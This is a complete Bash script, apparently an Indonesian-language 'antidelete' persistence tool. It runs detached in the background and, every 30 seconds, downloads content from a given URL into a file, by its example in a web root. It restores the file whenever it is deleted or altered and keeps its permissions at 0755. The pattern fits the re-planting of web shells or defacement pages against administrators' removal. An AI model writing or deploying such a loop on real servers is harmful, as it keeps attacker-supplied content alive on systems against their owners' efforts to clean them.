#!/bin/bash

if [ -z "$1" ] || [ -z "$2" ]; then
  echo "Error: Path file dan URL harus diberikan sebagai argumen."
  echo "Contoh penggunaan: bash antidelete /var/www/html/test.txt https://localhost/test.txt"
  exit 1
fi

FILE_PATH="$1"
URL="$2"
FILE_DIR=$(dirname "$FILE_PATH")
EXPECTED_PERMISSIONS="0755"

create_directory() {
  if [ ! -d "$FILE_DIR" ]; then
    echo "$(date): Direktori $FILE_DIR tidak ditemukan. Membuat direktori..."
    mkdir -p "$FILE_DIR" || {
      echo "$(date): Error: Gagal membuat direktori $FILE_DIR."
      exit 1
    }
    echo "$(date): Direktori $FILE_DIR berhasil dibuat."
  fi
}

fetch_content() {
  if command -v curl &>/dev/null; then
    curl -s "$URL" && return 0
  elif command -v wget &>/dev/null; then
    wget -qO- "$URL" && return 0
  elif command -v fetch &>/dev/null; then
    fetch -qo- "$URL" && return 0
  elif command -v http &>/dev/null; then
    http -b GET "$URL" && return 0
  fi
  echo "$(date): Error: Gagal mengambil konten dari URL $URL. Tidak ada metode yang tersedia."
  return 1
}

update_file() {
  echo "$EXPECTED_CONTENT" > "$FILE_PATH" || {
    echo "$(date): Error: Gagal menulis ke file $FILE_PATH."
    return 1
  }
  echo "$(date): File $FILE_PATH telah diperbarui dengan isi dari URL $URL."
}

check_and_update_permissions() {
  CURRENT_PERMISSIONS=$(stat -c "%a" "$FILE_PATH" 2>/dev/null)
  if [ "$CURRENT_PERMISSIONS" != "$EXPECTED_PERMISSIONS" ]; then
    echo "$(date): Izin file $FILE_PATH adalah $CURRENT_PERMISSIONS. Mengubah ke $EXPECTED_PERMISSIONS..."
    chmod "$EXPECTED_PERMISSIONS" "$FILE_PATH" || {
      echo "$(date): Error: Gagal mengubah izin file $FILE_PATH."
      return 1
    }
    echo "$(date): Izin file $FILE_PATH berhasil diubah ke $EXPECTED_PERMISSIONS."
  fi
}

run_process() {
  while true; do
    create_directory

    EXPECTED_CONTENT=$(fetch_content)
    if [ $? -ne 0 ]; then
      sleep 30
      continue
    fi

    if [ ! -f "$FILE_PATH" ]; then
      echo "$(date): File $FILE_PATH tidak ditemukan. Membuat file baru..."
      update_file || sleep 30
    else
      CURRENT_CONTENT=$(cat "$FILE_PATH" 2>/dev/null)
      if [ "$CURRENT_CONTENT" = "$EXPECTED_CONTENT" ]; then
        echo "$(date): Isi file $FILE_PATH sudah sesuai dengan URL."
      else
        echo "$(date): Isi file $FILE_PATH berbeda. Memperbarui file..."
        update_file || sleep 30
      fi
    fi

    check_and_update_permissions
    sleep 30
  done
}

# Jalankan proses di background
run_process &

disown
echo "Script berjalan di background untuk menjaga isi file $FILE_PATH sesuai dengan $URL."